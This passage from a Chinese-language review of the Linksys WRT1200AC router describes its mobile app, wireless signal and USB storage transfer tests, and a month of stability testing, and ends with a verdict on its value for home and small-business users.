除了電腦WEB端外，Linksys也有自己的手機(jī)App “Smart Wi-Fi”，從UI設(shè)計(jì)風(fēng)格和配色都和WEB端并沒有太大的變化，只是針對(duì)App應(yīng)用的移植版。
探秘差距 無線性能測(cè)試
WRT1200AC國(guó)行版無疑是目前AC1200陣營(yíng)的中的貴族，如何讓用戶信服選擇，必須拿出一點(diǎn)干貨來才行，否則和其他家?guī)装僭漠a(chǎn)品有什么區(qū)別？
我們測(cè)試采用聯(lián)想ThinkPad T420作為無線測(cè)試終端，無線網(wǎng)卡升級(jí)為英特爾 7260AC無線網(wǎng)卡，并以極路由弎為參考設(shè)備，探究一下WRT1200AC無線信號(hào)和傳輸性能如何。
從信號(hào)測(cè)試結(jié)果來看，Linksys WRT1200AC和極路由弎在信號(hào)強(qiáng)度上旗鼓相當(dāng)，當(dāng)極路由采用的的是3天線方案，而WRT1200AC則為2天線，也說明在無線調(diào)校上Linksys有自己的獨(dú)到之處。
通過USB3.0外置存儲(chǔ)進(jìn)行文件訪問傳輸測(cè)試，讓大家對(duì)WRT1200AC無線數(shù)據(jù)傳輸?shù)淖x寫能力有直觀的了解，我們測(cè)試U盤采用的大家常用的NTFS格式，所以實(shí)際讀寫速率只能達(dá)到35MB/s左右，但這并非是它的極限值。如果采用EXT4格式的外置存儲(chǔ)設(shè)備，其速率接近100MB/s，不過EXT4格式對(duì)普通用戶門檻較高，日常使用幾率不大。
WRT1200AC作為一款“專業(yè)級(jí)”產(chǎn)品，在運(yùn)行和連接穩(wěn)定性上一直保持高標(biāo)準(zhǔn)，在近1個(gè)多月24×7的工作狀態(tài)下，日常連接設(shè)備在10臺(tái)左右，沒有出現(xiàn)斷網(wǎng)斷流的情況發(fā)生。按照Linksys的標(biāo)準(zhǔn)，WRT1200AC承載這種壓力測(cè)試的極限值應(yīng)該高出一個(gè)數(shù)量級(jí)。
試用小結(jié)：
作為一款兼具家用和商用的專業(yè)無線路由器，Linksys WRT1200AC在各項(xiàng)測(cè)試和性能表現(xiàn)上都無疑讓人滿意，在擴(kuò)展性和改造可玩性上也遠(yuǎn)遠(yuǎn)超過同類產(chǎn)品。不過對(duì)于普通家庭用戶而言，這些亮點(diǎn)的實(shí)際應(yīng)用幾率低、門檻高，而花費(fèi)的代價(jià)高，CP值自然不高。不過對(duì)于50~100人的SMB以及小型商用用戶，Linksys WRT1200AC在高性能、高擴(kuò)展性以及強(qiáng)大的管理能力方面的優(yōu)勢(shì)展現(xiàn)出來，以單臺(tái)無線覆蓋能力而言它的CP值飆升。另外，Linksys WRT1200AC國(guó)行版在國(guó)內(nèi)擁有完善的售后保修服務(wù)，不用擔(dān)心海淘拼人品，讓用戶使用更省心
